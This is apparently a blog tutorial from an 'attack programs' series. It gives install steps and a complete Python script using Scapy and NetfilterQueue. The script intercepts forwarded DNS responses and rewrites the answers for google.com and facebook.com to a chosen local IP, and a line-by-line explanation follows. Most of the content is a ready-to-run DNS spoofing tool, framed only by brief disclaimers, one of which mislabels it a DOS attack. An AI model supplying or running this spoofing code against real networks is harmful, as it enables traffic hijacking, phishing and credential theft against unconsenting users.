CYBER ATTACK PROGRAMS SERIES 4 OF 4

DNS Attack Using Python

Let us see how to perform a DNS attack and how it works ?

Ketan Jadhav
5 min readMay 18, 2024

DNS (Domain Name System)

DNS stands for Domain Name System. It is a system that translates domain names (such as www.example.com) into IP addresses (such as 192.168.2.1) that computers can use to locate and communicate with web servers and other network services.

When you enter a domain name into your web browser, your computer sends a DNS query to a DNS server that is responsible for resolving the domain name into an IP address. Once the IP address is obtained, your computer can use it to establish a connection with the web server that hosts the website associated with that domain name.

DNS is a critical component of the Internet infrastructure and is essential for the proper functioning of the World Wide Web.

Learn about DNS attack, How it works?

A DNS attack is a type of cyber attack that targets the Domain Name System (DNS) infrastructure in order to disrupt or compromise the availability, integrity, or confidentiality of DNS services.

Program prerequisites

  1. Ubuntu or any Linux distribution in system
  2. Python installed
  3. Install Scapy Library
  4. Install NetfilterQueue Library

Let’s get into the step’s what is required

1. Update python and install scapy library

user@ubuntu:~$ sudo apt-get update 
user@ubuntu:~$ sudo apt-get install python3.pip
user@ubuntu:~$ sudo python3 –m pip install -- pre scapy[complete]
user@ubuntu:~$ sudo python3 –m pip install NetfilterQueue

2. Create a file name dns.py

user@ubuntu:~$ gedit dns.py

3. Insert the code below:

# NOTE: Performing a DNS attack without proper authorization is illegal and unethical.
# You should NEVER attempt to carry out such an attack on systems or networks that you do not own or have explicit permission to test.
# This code is provided for educational purposes only and should be used solely in controlled environments with the consent of the network administrator.

import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue

# Clear console screen in a platform-independent way
os.system("cls" if os.name == "nt" else "clear")

print("\n-----------------------------------------------------")
print("\n--------- DNS A T T A C K ---------")
print("\n--------------------------------------------------\n")


class DnsSnoof:
def __init__(self, hostDict, queueNum):
self.hostDict = hostDict
self.queueNum = queueNum
self.queue = NetfilterQueue()

def __call__(self):
log.info("Snoofing....")
os.system(f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
self.queue.bind(self.queueNum, self.callBack)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
log.info("[!] iptable rule flushed")

def callBack(self, packet):
scapyPacket = IP(packet.get_payload())
if scapyPacket.haslayer(DNSRR):
try:
log.info(f'[original] {scapyPacket[DNSRR].summary()}')
queryName = scapyPacket[DNSQR].qname
if queryName in self.hostDict:
scapyPacket[DNS].an = DNSRR(rrname=queryName, rdata=self.hostDict[queryName])
scapyPacket[DNS].ancount = 1
del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum
log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
else:
log.info(f'[not modified] {scapyPacket[DNSRR].rdata}')
except IndexError as error:
log.error(error)
packet.set_payload(bytes(scapyPacket))
return packet.accept()


if __name__ == '__main__':
try:
hostDict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100"
}
queueNum = 1
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
snoof = DnsSnoof(hostDict, queueNum)
snoof()
except OSError as error:
log.error(error)

4. Running the script/program: (sudo for root privilege’s)

user@ubuntu:~$ sudo python3 dns.py

Program breakdown

import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue

This line imports various modules such as os, logging, scapy.all and netfilterqueue.

  • os: Used for executing system commands (e.g., clearing the console and manipulating iptables).
  • logging: Used for logging information, warnings, and errors.
  • scapy: Provides network packet manipulation capabilities.
  • netfilterqueue: Interacts with the packet queue created by iptables.
os.system("cls" if os.name == "nt" else "clear")

This line clears the console screen. It uses cls for Windows and clear for Unix-based systems.

print("\n-----------------------------------------------------")
print("\n--------- DNS T T A C K ---------")
print("\n--------------------------------------------------\n")

Prints the above header before attack

DnsSnoof Class Definition

class DnsSnoof:
def __init__(self, hostDict, queueNum):
self.hostDict = hostDict
self.queueNum = queueNum
self.queue = NetfilterQueue()
  • init: Initializes the DnsSnoof class with:
  • hostDict: A dictionary mapping domain names to spoofed IP addresses.
  • queueNum: The Netfilter queue number to bind to.
  • self.queue: An instance of NetfilterQueue.

call Method

def __call__(self):
log.info("Snoofing....")
os.system(f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
self.queue.bind(self.queueNum, self.callBack)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
log.info("[!] iptable rule flushed")
  • Logs “Snoofing…” to indicate the start of the spoofing process.
  • Adds a rule to iptables to forward packets to the Netfilter queue.
  • Binds the Netfilter queue to a callback function callBack.
  • Runs the queue and listens for incoming packets.
  • Removes the iptables rule if interrupted (e.g., with Ctrl+C).

callBack Method

def callBack(self, packet):
scapyPacket = IP(packet.get_payload())
if scapyPacket.haslayer(DNSRR):
try:
log.info(f'[original] {scapyPacket[DNSRR].summary()}')
queryName = scapyPacket[DNSQR].qname
if queryName in self.hostDict:
scapyPacket[DNS].an = DNSRR(rrname=queryName, rdata=self.hostDict[queryName])
scapyPacket[DNS].ancount = 1
del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum
log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
else:
log.info(f'[not modified] {scapyPacket[DNSRR].rdata}')
except IndexError as error:
log.error(error)
packet.set_payload(bytes(scapyPacket))
return packet.accept()
  • callBack: Processes each packet received by the queue.
  • Converts the packet to a Scapy packet.
  • Checks if the packet has a DNS response layer (DNSRR).
  • Logs the original DNS response.
  • If the DNS query name (queryName) is in hostDict, modifies the DNS response to point to the spoofed IP.
  • Deletes length and checksum fields so Scapy can recalculate them.
  • Logs the modified DNS response.
  • Sets the modified packet payload and accepts the packet to continue its journey.

Main Execution Block

if __name__ == '__main__':
try:
hostDict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100",
}
queueNum = 1
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
snoof = DnsSnoof(hostDict, queueNum)
snoof()
except OSError as error:
log.error(error)
  • Sets up hostDict with domain-IP mappings.
  • Defines the queue number for NetfilterQueue.
  • Configures logging to include timestamps and messages at the INFO level.
  • Creates an instance of DnsSnoof with hostDict and queueNum.
  • Calls the snoof instance to start the DNS spoofing process.
  • Catches and logs any OSError that may occur during execution.

Disclaimer: It’s important to note that performing DOS attacks is illegal and unethical, and can potentially cause significant harm to systems and networks. This code should only be used for educational and ethical purposes, such as testing the resilience of your own systems or with explicit permission from the system owner.

--

--

Ketan Jadhav

I write about Programming | Life | Self-improvement and more.